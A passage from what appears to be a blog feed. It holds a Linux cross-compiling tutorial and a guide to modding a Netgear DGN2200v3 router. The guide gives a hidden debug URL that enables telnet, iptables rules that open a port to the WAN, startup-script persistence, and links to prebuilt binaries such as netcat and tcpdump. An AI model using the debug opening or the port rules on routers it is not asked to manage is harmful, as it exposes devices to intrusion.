This operation may be very easy if you somehow received the crosscompiler package ready (as for example the DGN2200v3 you just download it from the Netgear site or you collegue may have passed it to you) as you just have to unpack it somewhere and then refeer to it.</p>
<p>The second option is that you have to find a crosscompiler for yourself. In this case before starting to query your favourite search engine you should generally try to understand from your target two main things: the architecture (this is the processor/system type, such as MIPS or ARM or m68k to name a few; and then some more details such as if talking about ARM it&rsquo;s an v4 core v5 or v6 an so on) and the library set used on the target (this is often uclibc for smaller systems or glibc for more powerfull systems, then again which version of the library and in some cases also the type of library interface such as EABI or old-ABI).<br>
To get the architecture information you can try to read some files in the /proc and /sys trees (<em>/proc/cpuinfo</em> is a very good start, then again many files under <em>/sys/devices/system/cpu</em>) or use the <em>uname</em> (-m) tool even better you can use, if installed, the <em>lscpu</em> (from the util-linux package) program from command line. Also you could try using the <em>file</em> tool if present on a preexisting binary to get some informations about it. In some cases you may need to do a crosscheck using the CPU name of your product with the Linux kernel sources or with the CPU datasheet at worse.<br>
On the other side to find the used libraries, given that you don&rsquo;t want to compile just statically linked binaries in which case this information may be irrelevant, you may have to examine the contents of the <em>/lib</em> and <em>/usr/lib</em> directories and try to figure out the type of library used (check for example if you see and libuClibc or which version the libc is).<br>
Now with this two informations you should find a crosscompiler that has the same architecture target and the same (sometimes a very close version may work aswell but may be risky in some cases) library set.<br>
A very good site where you can find many interesting free crosscompilers (you can then purchase an advanced IDE or support aswell) is for example <a href="http://www.mentor.com/embedded-software/codesourcery" target="_blank">CodeSourcery </a>but of course it may depend on your needs.</p>
<p>The third situation one may come to is that there is no available toolchain ready to use and one has to be created from scratch. This operation is of course quite more advanced and I&rsquo;ll not dig much into this possibility in this article. Let me just point out a great project to create toolchains that I used often that may be of great use if you are in this situation: <a href="http://crosstool-ng.org/" target="_blank">crosstool-ng</a>. This tool gives you the possibility to create in a quite &ldquo;easy&rdquo; way your personal optimized toolchain.</p>
<p>Now that you obtained the toolchain usually you would unpack it someplace (for example in /opt or so). Usually it would look like a &ldquo;root filesystem&rdquo; with a /bin directory (containing the binaries such as the compiler), the /lib for the libraries and so on. Give a look and explore it.<br>
For ease of use you should put the binaries directory into your path so in the next step when compiling something you can easily find all the tools needed by your compilation procedure:</p>
<pre>fede@sphynx:~$ export PATH=$PATH:/opt/toolchains/uclibc-crosstools-gcc-4.4.2-1/usr/bin/
fede@sphynx:~$ mips-linux-gcc -v
Using built-in specs.
Target: mips-linux-uclibc
Configured with: /shared/myviews/toolchain/buildroot-4.4.2-1/output/toolchain/gcc-4.4.2/configure --prefix=/usr --build=i386-pc-linux-gnu --host=i386-pc-linux-gnu 
--target=mips-linux-uclibc --enable-languages=c,c++ --with-sysroot=/opt/toolchains/uclibc-crosstools-gcc-4.4.2-1 --with-build-time-tools=/opt/toolchains/uclibc-
crosstools-gcc-4.4.2-1/usr/mips-linux-uclibc/bin --disable-__cxa_atexit --enable-target-optspace --with-gnu-ld --disable-libssp --disable-tls --enable-shared 
--with-gmp=/shared/myviews/toolchain/buildroot-4.4.2-1/output/toolchain/gmp --with-mpfr=/shared/myviews/toolchain/buildroot-4.4.2-1/output/toolchain/mpfr 
--disable-nls --enable-threads --disable-multilib --disable-decimal-float --with-float=soft --with-abi=32 --with-tune=mips32 --with-arch=mips32 --with-
pkgversion='Buildroot 2010.02-git' --with-bugurl=http://bugs.buildroot.net/
Thread model: posix
gcc version 4.4.2 (Buildroot 2010.02-git)

fede@sphynx:~$ export PATH=$PATH:/opt/toolchains/arm-crunch-linux-gnueabi/bin/
fede@sphynx:~$ arm-crunch-linux-gnueabi-gcc -v
Using built-in specs.
Target: arm-crunch-linux-gnueabi
Configured with: /opt/toolchains/crosstool-ng-1.4.2/targets/src/gcc-4.2.4/configure --build=i486-build_pc-linux-gnu --host=i486-build_pc-linux-gnu --target=arm-
crunch-linux-gnueabi --prefix=/opt/toolchains/arm-crunch-linux-gnueabi --with-sysroot=/opt/toolchains/arm-crunch-linux-gnueabi/arm-crunch-linux-gnueabi//sys-root 
--enable-languages=c --disable-multilib --with-cpu=ep9312 --with-fpu=maverick --with-float=soft --with-gmp=/opt/toolchains/arm-crunch-linux-gnueabi --with-
mpfr=/opt/toolchains/arm-crunch-linux-gnueabi --disable-sjlj-exceptions --enable-__cxa_atexit --with-local-prefix=/opt/toolchains/arm-crunch-linux-gnueabi
/arm-crunch-linux-gnueabi//sys-root --disable-nls --enable-threads=posix --enable-symvers=gnu --enable-c99 --enable-long-long --enable-target-optspace
Thread model: posix
gcc version 4.2.4</pre>
<p>As you see we can now call the gcc compiler (with the appropriate prefix depending on the toolchain compilation) and see it&rsquo;s version. The first example is the DGN2200v3 compiler shipped by Netgear while the second one is a custom build ARM9 Cirrus Logic EP9302 compiler created using the crosstool-ng package. Now we can then proceed to the next step.</p>
<p> </p>
<p><strong>Compiling</strong></p>
<p>Now that you have the tools you can start compiling what you want to run on the target machine. Of course the compilation step may very different depending if you want to compile a single .c file with no libraries used, if you want to compile a program with a makefile, a program that uses an AutoConf autoconfiguration script, the Linux Kernel or something else.<br>
Let&rsquo;s start from the most basic single file <em>hello.c</em> program such as:</p>
<pre>#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

int main(void) {
        printf("Hello world! (%s %s)\n",__DATE__,__TIME__);
}</pre>
<p>In this case just the command line invocation should do it:</p>
<pre>mips-linux-gcc hello.c -o hello</pre>
<p>Will build an <em>advanced</em> hello world program for the DGN2200N router. <strong>Be aware</strong> that you may need to pass some more flags to the compiler in some cases. A typical example is when using an ARM compiler that supports more architectures (for example ARMv4 and ARMv5, or both thumb and not-thumb instruction set) and not forcing a specific one may result in the compilation working perfectly but the resulting binary acting in a very weird way! (in this specific case the important option to use is <em>-march</em> for example <em>-march=armv4t</em>)<br>
To see if the file was really crosscompiled correctly you can use again the <em>file</em> tool on the generated file, for example:</p>
<pre>fede@sphynx:~/dgn2200$ file hello
hello: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked (uses shared libs),
 with unknown capability 0x41000000 = 0xf676e75, with unknown capability 0x10000 = 0x70403, not stripped</pre>
<p>or another example:</p>
<pre>fede@sphynx:~/arm/new_fs/usr/bin$ file inadyn 
inadyn: ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs),
 for GNU/Linux 2.6.14, not stripped</pre>
<p>The second case you may walk upon is a project with a Makefile that builds the project using various files in the source tree. In this case you should replace all the references to the compiler, linker and other tools with the references to your crosscompiler. If the Makefile was done in a clear way this should be defined at it&rsquo;s beginning with variabiles such as <em>CC</em>, <em>LD</em>, <em>CFLAGS</em>, <em>LDFLAGS</em> and so on. In some cases you may even just have a <em>CROSS-COMPILE</em> variable that gets prepended automatically to all the tools. Of course everything depends on the specific Makefile (and mostly on its author!) so you have to examine it.</p>
<p>Another common scenario you may find yourself in front of is a package that uses the AutoConf scripting system to automatically detect what is installed on your system and create accordingly correct Makefiles to proceed with the compilation. When compiling for your local system you would most probably just do a:</p>
<pre>./configure
make</pre>
<p>and the trick would be done: the first command would search your system for required files (headers, libraries and so on) and the second would compile the package. Of course the first step may result in missing dependencies and so on.<br>
When crosscompiling the main difference is that you should tell to configure that you are doing so using the built in options (./configure &ndash;help):</p>
<pre>System types:
  --build=BUILD     configure for building on BUILD [guessed]
  --host=HOST       cross-compile to build programs to run on HOST [BUILD]
  --target=TARGET   configure for building compilers for TARGET [HOST]</pre>
<p>So adding <em>&ndash;target=<arch></em>, for example <em>&ndash;target=mips-linux</em> should do the trick, the configure will understand it&rsquo;s a crosscompilation and create the makefiles accordigly. If you need to pass some flags to the compiler or linker setting the CFLAGS and LDFLAGS on the command line to configure is suggested.<br>
So briefly for example:</p>
<pre>CFLAGS="-cflags -morecflags" LDFLAGS="-linkerflags" ./configure --host=arch-linux
make</pre>
<p>Could be a generic recipe.<br>
Of course this may not be all: if the package (and it&rsquo;s configure) requires some extra libraries you may need to first crosscompile and place them someplace (inside the toolchain tree may be a good option to have them shared in the future) using a simillar approach (and eventually adding the paths to where you installed the libraries to configure). Of course on the other side as when compiling for local usage you may decide to disable some option that is giving you compilation headaches and you don&rsquo;t really need it.<br>
Another thing may happen that could give you headaches: sometimes the configure script is created in a way (ignoring maybe a bit the cross-compilation needs) that it will need some binaries from the package to be executed (for example to create a temporary table with data or so). In this case of course you&rsquo;ll need to cheat the build system creating it first with your local host compiler and then doing the crosscompilation step. One very useful option of configure is the <em>&ndash;cache</em> option which gives you the possibility to pass a text file that contains certain answers that you prepare by hand to avoid configure troubles. The format of the text file is quite simple, here is an example to predefine some glib variables since they are usually generated by a glib support tool:</p>
<pre>glib_cv_long_long_format=ll
glib_cv_stack_grows=no
ac_cv_func_posix_getpwuid_r=yes
glib_cv_uscore=yes
ac_cv_have_abstract_sockets=yes</pre>
<p>Remember also that the compilation tests (often found as <em>make test</em> rule) cannot be run when crosscompiling for obious reasons.</p>
<p> </p>
<p>Last (but not least) a few words about the Linux Kernel crosscompilation. In this case in general you have to set the ARCH variable to the architecture name (ie. ARM, MIPS) and the CROSS_COMPILE variable to the prefix of your toolchain tools (ie. mips-linux- or arm-linux-gnueabi- ; notice the final dash that is not required when we invoke configure!) and then you can proceed as usual with your favourite configuration step (make configure, menuconfig, xconfig and so on) and then build step.</p>
<pre>export ARCH=arm
export CROSS_COMPILE=arm-linux-gnueabi-
make menuconfig
...
make</pre>
<p>Be aware that on embedded systems since a particullar boot loader is used the build step may be different from what you&rsquo;re used on your PC (make zImage or bzImage or so) since the final format has to be understood by the boot loader. For example when preparing an image for the popular U-Boot boot loader you should invoke <em>make uImage</em> to create an appropriate image (this will require also the <em>mkimage</em> tool to be installed on your system).</p>
<p> </p>
<p><strong>Other hints:</strong></p>
<p>Be aware that libtool while generating libtool libraries files (.la extension) inserts the full path. So be carefull that you&rsquo;re not mixing host/target paths accidently if you crosscompilation is requiring libraries creation.<br>
Many packages nowadays use <em>pkg-config</em> tool to query the system where some libraries are installed and which command line options are required to link and use them. Setting the environment variable <em>PKG_CONFIG_PATH</em> to the directory containing the .pc files for your target (that could often be found inside the toolchain directory tree) is therefore a very good idea not to have to tinker manually huge library flags every time.</p>
<p>Last but not least: if you have a complicated project to crosscompile and you&rsquo;re lucky enough to have some mainstream developement board available for that architecture (for example if you&rsquo;re working with ARM something like the <a href="http://www.globalscaletechnologies.com/t-openrdcdetails.aspx">OpenRD</a> or <a href="http://www.raspberrypi.org/">Raspberry PI</a> are good choices, or an emulated ARM machine using QEmu is also a good but longer shot) don&rsquo;t insist banging your head on the crosscompiler, it&rsquo;s fine if you do everything on the target platform, nothing to be ashamed of 😉</p>
<p> </p>
<h3 id="comments">Comments</h3>
<ul>
<li><strong>on 2013-05-04 08:02:41 +0100</strong></li>
</ul>
<blockquote>
<p>Awesome post.</p>
</blockquote>]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2013-01-08:2013-01-08T17:03:28Z</guid>

                
                    <link>https://www.evolware.org/2013/01/08/how-to-cross-compile-under-linux/</link>
                

                
                    <pubDate>Tue, 08 Jan 2013 17:03:28 UTC</pubDate>
                

                
                    <title>How to cross-compile under Linux</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p>The Netgear DGN2200v3 is a nice low cost Wireless (802.11b/g/n) ADSL2+ router that can be quite easily found. It is a nice piece of hardware and features some interesting features, such an USB host port to connect and share a USB storage device, and expecially is easily customizable for users interested in having a powerfull generic device running a Linux embedded operating system.</p>
<p>Note: this is a heavily &ldquo;Work in Progress&rdquo;  page so please check it out here and there if you are interested in the topic! <em>(last update 09th June 2014)</em></p>
<p>First of all you can find the source tree for the router at Netgear site starting from their <a href="http://kb.netgear.com/app/answers/detail/a_id/2649" target="_blank">GPL Open Source Code for Programmers page</a>. The package also contains a suitable toolchain <em>uclibc-crosstools-gcc-4.4.2-1</em>. Everything described in this page refeers to the &ldquo;official&rdquo; firmware <em>V1.1.00.10_1.00.10</em> . It may also apply to future updates and to the <em>beta</em> version that Netgear started to distribute but it may require slight modifications.</p>
<p> </p>
<p>The next step to access to your router internals is to enable the telnet shell using the debug <em>backdoor</em> present in the firmware. It is easily done by accessing (we suppose 10.0.1.69 is your router IP address) the URL: <em>http://10.0.1.69/setup.cgi?todo=debug</em> This will enable telnet connections from your local network. Just login with your administrator credentials.</p>
<p>Once you entered you can analyze the running system, briefly:</p>
<pre dir="ltr"># cat /proc/version
Linux version 2.6.30 (root@BuildServer) (gcc version 4.4.2 (Buildroot
 2010.02-git) ) #1 Fri Nov 4 13:30:23 CST 2011

# cat /proc/cpuinfo
system type             : 963281TAN
processor               : 0
cpu model               : Broadcom4350 V7.5
BogoMIPS                : 319.48
wait instruction        : yes
microsecond timers      : yes
tlb_entries             : 32
extra interrupt vector  : no
hardware watchpoint     : no
ASEs implemented        :
shadow register sets    : 1
core                    : 0
VCED exceptions         : not available
VCEI exceptions         : not available

unaligned exceptions            : 10

# free
total used free shared buffers
Mem: 60004 49576 10428 0 3856
Swap: 0 0 0
Total: 60004 49576 10428

# df
Filesystem 1024-blocks Used Available Use% Mounted on
mtd:rootfs 27648 17096 10552 62% /
mtd:factory 256 52 204 20% /config/factory
mtd:scnvram 1024 80 944 8% /config/nvram
mtd:language 1024 468 556 46% /config/language
mtd:xxx 768 68 700 9% /config/xxx</pre>
<p>There are especially a few tools that you may find useful for tweaking the router.</p>
<ul>
<li>One is <em>wl</em> and permits you to tweak wireless card parameters. One purely visual thing, but I found it annoying to be missing, is to make the wireless led blink when there is some wireless activity (by default it&rsquo;s just always on). This can be achieved by using the command &ldquo;<em>wl ledbh 3 7</em>&rdquo;. A command &ldquo;<em>wl ledbh 3 14</em>&rdquo; will keep the led always off and blink just when there is traffic. Try to change the second value between 0 and 15 for various effects. Another more interesting usage for this tool is to change the transmission power to achieve slightly better coverage results. To see the current settings you can use &ldquo;<em>wl -a wl0 txpwr</em>&rdquo;. To set a value you can use the &ldquo;<em>wl -a wl0 txpwr 80</em>&rdquo; for example to set it to 80mW which is practically the maximum value (by specs at least). Use the <em>&ndash;help</em> for a (huge) detailed list of options!</li>
<li>Another very interesting tool is <em>adslctl</em>. This tool can be used to tweak all the ADSL parameters such as the SNR limits (<em>start &ndash;snr</em>) and get additional informations from your link (<em>info &ndash;show</em>). Use the <em>&ndash;help</em> for a detailed list of options!</li>
</ul>
<p>Once you are happy with some modifications of course it would be nice to make them stable. If you noticed the mount output the root device is in read-only mode but no fear, just remount it to read-write: <em>mount -n -o remount,rw /</em></p>
<p>Another important thing to notice is that the  /etc/ is not really on flash but it is just a link to a directory that is in /tmp temporary filesystem and that gets re-populated at every boot from the template in /usr/etc. Therefore if you want to make your modifications permanent to the startup scripts you have to work on /usr/etc. For example, considering also that there is no default editor on the system, if you would like to make the led blinking permanent you could execute something like this:</p>
<pre dir="ltr">mount -n -o remount,rw /
cd /usr/etc
echo "/etc/rc.makkapakka &" &gt;&gt; rcS
echo "#!/bin/sh" &gt;&gt; /usr/etc/rc.makkapakka
echo "/bin/sleep 20" &gt;&gt; /usr/etc/rc.makkapakka
echo "/usr/bin/wl ledbh 3 7" &gt;&gt; /usr/etc/rc.makkapakka
chmod a+x /usr/etc/rc.makkapakka</pre>
<p>This will append a line to the standard rc_S_ file to execute another custom script (<em>rc.makkapakka</em>) which contains the three lines written with the echo redirected to rc.makkapakka. The last line will make sure the script is executable. You&rsquo;ll notice that there is a sleep of 20 seconds in the script: this is done since during startup also other processes are running and the wireless module gets reinitialized elsewhere. Of course it&rsquo;s not the most elegant solution since it&rsquo;s a hard-coded timing, but it works in practice and should be enough for the example (if you want ADSL parameters to be kept you better make the sleep slightly longer since that part takes more time to be initialized at first).</p>
<p>Of course editing files with just the shell tools (such as echo but also cat,head,tail and grep) is not the most confortable thing in the world. Of course you can pre-edit the files on your PC and then upload them either via FTP or put them via the USB storage available. Otherwise check at the bottom of this page for some pre-crosscompiled packages, there is also the GNU nano editor.</p>
<p> </p>
<p><strong>About the firewalling rules:</strong></p>
<p>The DGN2200 has a pretty elaborated firewalling rule set. It is quite elaborate also to permit quite &ldquo;easy&rdquo; tear down and reload of rules when they are changed by the user on the web interface. There are some nonstandard modules/rulesets used that make the investigation even furtherly complicated. You can have a look for yourself and work out a bit the logic behind the networking system by using:</p>
<pre dir="ltr">iptables -L
iptables -L -t nat</pre>
<p>Something that most probably any of you playing with the DGN2200v3 firmware would  want to do is to open a port locally so you can install some service running on the device (for example dropbear or OpenVPN listed below with their binary packages). This sadly cannot be performed via the web interface. The interface will actually permit you to set a &ldquo;port forwarding&rdquo; to the IP of the router itself but that will not work for how the rules are then expanded to iptables.<br>
If you would like to open a local port to a running service nevertheless the best, and less invasive, way to do it in my opinion is using the following two rules (that are supposing you&rsquo;d like to open TCP port 3636):</p>
<pre dir="ltr">iptables -A INPUT -p tcp -s 0/0 -d 0/0 --dport 3636 -j ACCEPT
iptables -t nat -I PRE_CNAPT 1 -p tcp -s 0/0 -d 0/0 --dport 3636 -j ACCEPT</pre>
<p>The first line is quite obvious and will actually permit the input packets to be accepted. The second one is inserted to prevent the CNAP prerouting rule to drop the packets for that specific port.<br>
Now you can put your favorite TCP service on the 3636 port and have it rechable from the WAN side.</p>
<p> </p>
<p><strong>Precompiled packages:</strong></p>
<p>Here are some pre-crosscompiled packages for those that don&rsquo;t want to mess with the crosscompilation process. I tried to make them as easy to use as possible (so you&rsquo;ll usually find statically linked versions for example if they depend on other libraries) and install:</p>
<ul>
<li><a href="http://www.gnu.org/software/tar/">GNU tar</a> and <a href="http://www.gnu.org/software/gzip/">GNU gzip</a> for decompressing the other archives offered later in this page. This two tools are offered uncompressed so you can just download them from your router using the build in busybox based wget tool and then proceed to further installation of other packages without needing a decompressor on your PC or so. (thanks to Stuart for this deployment idea!). The tar will search for gzip in the path so make sure you first add the directory where you downloaded gzip to the path (ie. something like export <em>PATH=$PATH:/path/to/gzip/directory</em>). For some packages a warning that the UID/GID of the original package files cannot be restored will appear: don&rsquo;t worry too much it&rsquo;s normal since my UID/GID of my developement system are not present on the router. To unpack the packages listed below just use &ldquo;<em>tar xfz packagename.tar.gz</em>&rdquo; (again put also tar into the path or use ./ to execute it from the current working directory). Make sure you set both files as executable (<em>chmod a+x tar gzip</em>) aswell. Download <a href="http://www.evolware.org/dnload/dgn2200n/tar">tar</a> and <a href="http://www.evolware.org/dnload/dgn2200n/gzip">gzip</a> here!</li>
<li><a href="http://www.nano-editor.org/" target="_blank">GNU nano</a> text editor version 2.2.6. This version is statically linked (since it uses the the ncurses 5.9 library). It is important to know that the ncurses library needs the terminal information (terminfo) to start. So in the package you will find also a &ldquo;<em>vt102</em>&rdquo; file (the default terminal defined on the DGN2200 at login) that has to be placed in the <em>/opt/toolchains/uclibc-crosstools-gcc-4.4.2-1/share/terminfo/v/</em> directory. If you need other terminal definitions for some reason you can find them in the ncurses package (or on mostly any Linux desktop installation). The  <em>nano</em> executable can be placed where you wish. Download <a href="http://www.evolware.org/dnload/dgn2200n/nano-dgn2200-bin.tar.gz" target="_blank">nano-dgn2200-bin.tar.gz </a>here!</li>
<li><a href="http://sourceforge.net/projects/strace/" target="_blank">Strace</a> system trace analyzer version 4.7. What else do you need when something doesn&rsquo;t work and you have to understand what? Here it is, download <a href="http://www.evolware.org/dnload/dgn2200n/strace-dgn2200-bin.tar.gz" target="_blank">strace-dgn2200-bin.tar.gz</a></li>
<li><a href="http://matt.ucc.asn.au/dropbear/dropbear.html" target="_blank">Dropbear</a> embedded ssh package version 2012.55. The package should include all you potentially need, so client, server and key management tool. Remember eventually to pass using the &ldquo;<em>-d</em>&rdquo; and &ldquo;<em>-r</em>&rdquo; options the path to the keys where you generated them (the defaults are in /etc/dropbear and are therefore quite volatile). Download <a href="http://www.evolware.org/dnload/dgn2200n/dropbear-dgn2200-bin.tar.gz" target="_blank">dropbear-dgn2200-bin.tar.gz</a>.<br>
Make sure you first generate the keys and then specify the path to the keys to the executable, otherwise the defaults are in /etc and they are missing there.<br>
To create the keys do for example both:<br>
./dropbearkey -t rsa -f /tmp/dropbear_rsa_host_key<br>
and<br>
./dropbearkey -t dss -f /tmp/dropbear_dss_host_key<br>
this will generate the two keys in /tmp (eventually of course you can put them in /opt or other fixed storage).<br>
Then start dropbear pointing to the keys with:<br>
./dropbear -d /tmp/dropbear_dss_host_key -r /tmp/dropbear_rsa_host_key<br>
Be also aware that by default dropbear accepts only users with a shell listed in the /etc/shells file so if you have troubles connecting with a specific user make sure that the used shell is listed in this file.<br>
Another warning: by default the <em>admin</em> user doesn&rsquo;t have a home directory assigned and therefore the dropbear connection may just hang after autentication. Change it&rsquo;s home directory in the <em>/etc/passwd</em> file (in /usr to make it non-volatile) to / as root (insert a &ldquo;/&rdquo; before the last colon of the line)</li>
<li><a href="http://openvpn.net/index.php/download.html" target="_blank">OpenVPN 2.2.2</a> package for creating VPN. To be able to use VPN in some configurations the kernel needs the TUN device support. In the download package you will find the precompiled module <em>tun.ko</em> that you have to load before using the openvpn package (<em>insmod tun.ko</em>). Also remember that you have to create the appropriate <em>/dev/net/tun</em> (char dev, major 10, minopr 200) device. The openvpn has been compiled with the following defines: <code>ENABLE_CLIENT_SERVER ENABLE_DEBUG ENABLE_EUREPHIA ENABLE_FRAGMENT ENABLE_HTTP_PROXY ENABLE_MANAGEMENT ENABLE_MULTIHOME ENABLE_PORT_SHARE ENABLE_SOCKS USE_CRYPTO USE_LIBDL USE_LZO USE_SSL</code>. Please be aware that apart from configuring properly the openvpn configuration files you <strong>need</strong> to tweak the <em>iptables</em> (system firewall) settings on the router to achieve some useful/interesting results. More about iptables chains on the DGN2200 for OpenVPN later on since it&rsquo;s not a short story. For now as a hint: make sure you permit the traffic (LOCAL/INBOUND_FILTER_1) for the <em>tap0</em> device that OpenVPN uses first of all and then forward the private networks behind the tunnel. Download <a href="http://www.evolware.org/dnload/dgn2200n/openvpn-dgn2200-bin.tar.gz" target="_blank">openvpn-dgn2200-bin.tar.gz</a>.</li>
<li><a href="http://curl.haxx.se/">curl 7.28.1</a>package for advanced file transfers, query generation, various protocols operation and much much more. The default filesystem contains the busybox version of wget which is quite limited (as it should be given it&rsquo;s a very compact version!). With this package you can manage much much more. The package is compiled with these features: <pre dir="ltr"># ./curl -V
curl 7.28.1 (mips-unknown-linux-gnu) libcurl/7.28.1 OpenSSL/1.0.1c
Protocols: dict file ftp ftps gopher http https imap imaps pop3
pop3s rtsp smtp smtps telnet tftp
Features: Largefile NTLM NTLM_WB SSL TLS-SRP</pre></li>
</ul>
<p>Download <a href="http://www.evolware.org/dnload/dgn2200n/curl-dgn2200-bin.tar.gz">curl-dgn2200-bin.tar.gz</a>.</li></p>
<ul>
<li><a href="http://nc110.sourceforge.net/">netcat</a> version 1.10 the TCP/IP Swiss army knife. Very useful tool to debug networking troubles and services. Download <a href="http://www.evolware.org/dnload/dgn2200n/netcat-dgn2200-bin.tar.gz">netcat-dgn2200-bin.tar.gz</a></li>
<li><a href="http://www.gnu.org/software/coreutils/">coreutils</a> version 8.19. This package contains most of the coreutils that are not present as busybox applets in the router and can be very often of use. Some examples are stty for terminal settings management, seq to create sequences at command line, nohup to start processes without a terminal (for nightly uploads and downloads). Here is a list: <pre dir="ltr">base64    comm     factor     mkfifo  paste     sort    tac       uniq
basename  csplit   fmt        mktemp  pr        split   tee       uptime
chgrp     dirname  fold       nice    printenv  stat    timeout   whoami
chown     du       getlimits  nl      seq       stdbuf  truncate
chroot    env      id         nohup   shred     stty    tsort
cksum     expand   join       od      shuf      sum     unexpand</pre></li>
</ul>
<p>And here is the download <a href="http://www.evolware.org/dnload/dgn2200n/coreutils-dgn2200-bin.tar.gz">coreutils-dgn2200-bin.tar.gz</a>.</li></p>
<ul>
<li><a href="http://p910nd.sourceforge.net/">p910nd</a> version 0.93 printer daemon to transform your DGN2200N also in a printer server for your network using an USB printer. I just modified the lockfile to be created at /var/lock instead of /var/lock/subsys to be more compatible with the default router filesystem tree. Download <a href="http://www.evolware.org/dnload/dgn2200n/p910nd-dgn2200-bin.tar.gz">p910nd-dgn2200-bin.tar.gz</a></li>
<li><a href="http://www.tcpdump.org/" target="_blank">tcpdump</a> version 4.2.1 based on libpcap 1.2.1, the very powerful packet inspector for all your network debugging (and sniffing 😛 ) needs. Download <a href="http://www.evolware.org/dnload/dgn2200n/tcpdump-dgn2200-bin.tar.gz" target="_blank">tcpdump-dgn2200-bin.tar.gz</a>.</li>
<li><a href="http://libtorrent.rakshasa.no/">rtorrent</a> version 0.9.3 text-based torrent client. Compiled with libtorrent 0.13.3, libsigc++-2.3.1 and curl-7.29.0. Tried and tested to work well, be aware that you may need to play first a bit with iptables for incoming connections (see above in the iptables section how to open a port for local use) to achieve full speed transfers. Be also aware that when you use it over telnet some character sequences may be &ldquo;eaten up&rdquo; by the terminal emulator and telnet itself. Check the notes in the <a href="http://libtorrent.rakshasa.no/wiki/RTorrentUserGuide">Rtorrent User Guide</a> where it explains how to skip the mappings with stty (you can find stty tool crosscompiled for the DGN2200v3 in the coreutils package above). Download <a href="http://www.evolware.org/dnload/dgn2200n/rtorrent-0.9.3--dgn2200-bin.tar.gz">rtorrent-0.9.3&ndash;dgn2200-bin.tar.gz</a>.</li>
<li><a href="http://www.gnu.org/software/screen/">GNU screen</a> version 4.0.3. Screen/terminal window manager to give you the possibility to use multiple shells/applications at the same time on a single telnet login and especially leave them working unattended after a logout (useful for example for rtorrent posted above or your favourite IRC session!) and resume them later on when you reconnect. The package contains also two termcap definitions (vt100 and vt102) to make the default terminals work (put them into /opt/toolchains/uclibc-crosstools-gcc-4.4.2-1/share/terminfo/v/ since ncurses was compiled to watch for them there). Download <a href="http://www.evolware.org/dnload/dgn2200n/screen-4.0.3-dgn2200-bin.tar.gz">screen-4.0.3-dgn2200-bin.tar.gz</a>.</li>
<li>CIFS filesystem kernel module, so you can mount CIFS/Samba network filesystems on your DGN2200v3. First insert the module (insmod cifs.ko) and then mount the share with something like:
<pre>mount -t cifs //10.36.36.42/test /mnt/shares/U/cifstest/ -o username=guest</pre>
</li>
</ul>
<p>or</p>
<pre>mount -t cifs //10.36.36.42/test /mnt/shares/U/cifstest/ -o username=user,password=secret</pre>
<p>Download <a href="http://www.evolware.org/dnload/dgn2200n/cifs-kernel-module-dgn2200-bin.tar.gz">cifs-kernel-module-dgn2200-bin.tar.gz</a>.</li></p>
<ul>
<li><a href="http://rsync.samba.org/">rsync 3.0.9</a> for incremental file/repository transfers. Download it here: <a href="http://www.evolware.org/dnload/dgn2200n/rsync-dgn2200-bin.tar.gz">rsync-dgn2200-bin.tar.gz</a></li>
<li><a href="http://www.lua.org">lua-5.2.2</a> interpreter and compiler (and liblua.a) to be able to program on your router with this lightweight and very powerfull language. Download it here: <a href="http://www.evolware.org/dnload/dgn2200n/lua-5.2.2-dgn2200-bin.tar.gz">lua-5.2.2-dgn2200-bin.tar.gz</a></li>
<li><a href="http://sourceforge.net/projects/cpuminer/">cpuminer 2.3.2</a>: get rich mining bitcoins on your router at a stunning 0.06khash/s rate 😉 Download it here: <a href="http://www.evolware.org/dnload/dgn2200n/cpuminer-2.3.2-dgn2200-bin.tar.gz">cpuminer-2.3.2-dgn2200-bin.tar.gz</a></ul></li>
</ul>
<p> </p>
<p> </p>
<p><strong>USB Serial package and connecting Arduino boards</strong></p>
<p>One of the interesting things I wanted to do with my router was also to have the possibility to pilot and monitor some external hardware (using digital I/O and high power relays), do some identification using I-Button devices and in another case be able to do some simple room monitoring (temperatures and so on). Being this things done with some easy to find low cost Arduino based prototype boards a very interesting step for my DGN2200v3 modding was to include the support for the USB serial converter used by this boards to be able to have an easy and cheap way of interaction (of course I could also use a ethernet/wireless shield for the Arduino board, but that would make the board prototypes more expensive and complicated).<br>
So here it comes the precompiled package with all the serial drivers needed: <a href="http://www.evolware.org/dnload/dgn2200n/usbserialftdio-dgn2200-bin.tar.gz">download usbserialftdio-dgn2200-bin.tar.gz</a>. The package includes the generic usbserial module, the specific ftdio_sio module and I also included the <em>stty</em> terminal management tool (from the <a href="http://www.gnu.org/software/coreutils/">GNU coreutils</a> 8.19 package) to make it easy to work with the serial port even from the command prompt or using shell scripts.<br>
Once the modules are loaded:</p>
<pre dir="ltr">insmod usbserial.ko
insmod ftdi_sio.ko</pre>
<p>When the device is attached you should see it detected by looking at the kernel messages, something like:</p>
<pre dir="ltr">ftdi_sio 2-1:1.0: FTDI USB Serial Device converter detected
usb 2-1: Detected FT232RL
usb 2-1: FTDI USB Serial Device converter now attached to ttyUSB0
usbcore: registered new interface driver ftdi_sio
ftdi_sio: v1.4.3:USB FTDI Serial Converters Driver</pre>
<p>Now the device can be used via the device <em>ttyUSB0</em> (the device may diffeer depending on what else you have attached to the USB hub). Make sure you create a device to be able to access it since by default is not present:</p>
<pre dir="ltr">mknod /dev/ttyUSB0 c 188 0</pre>
<p>And then you can access it through /dev/ttyUSB0 device. You can use the <em>stty</em> tool in the package to configure the serial communication parameters, for example to set the baudrate to 9600 which is quite classic in Arudino IDE example files you may play with:</p>
<pre dir="ltr">stty -F/dev/ttyUSB0 9600</pre>
<p>And then you can even use command line tools such as <em>cat</em> to read or <em>echo</em> to write to the serial from a shell script or command prompt. And now you can expand your DGN2200v3 router to make the connected Arduino board interact with additional electronics and so on with a cheap but very reailable setup .</p>
<p>Of course: needless to say that you can use this usbserial+ftdi_sio package also to connect just a standard USB-232 converter to your router if that is usefull to you! 🙂</p>
<p> </p>
<p> </p>
<p><strong>Dynamic DNS with other providers</strong></p>
<p>Since June 2014 DynDNS, which is the only officially supported Dynamic DNS service in the DGN2200, is not anymore free and therefore if you don&rsquo;t want to leave some Euros for this service the router cannot support this service anymore.<br>
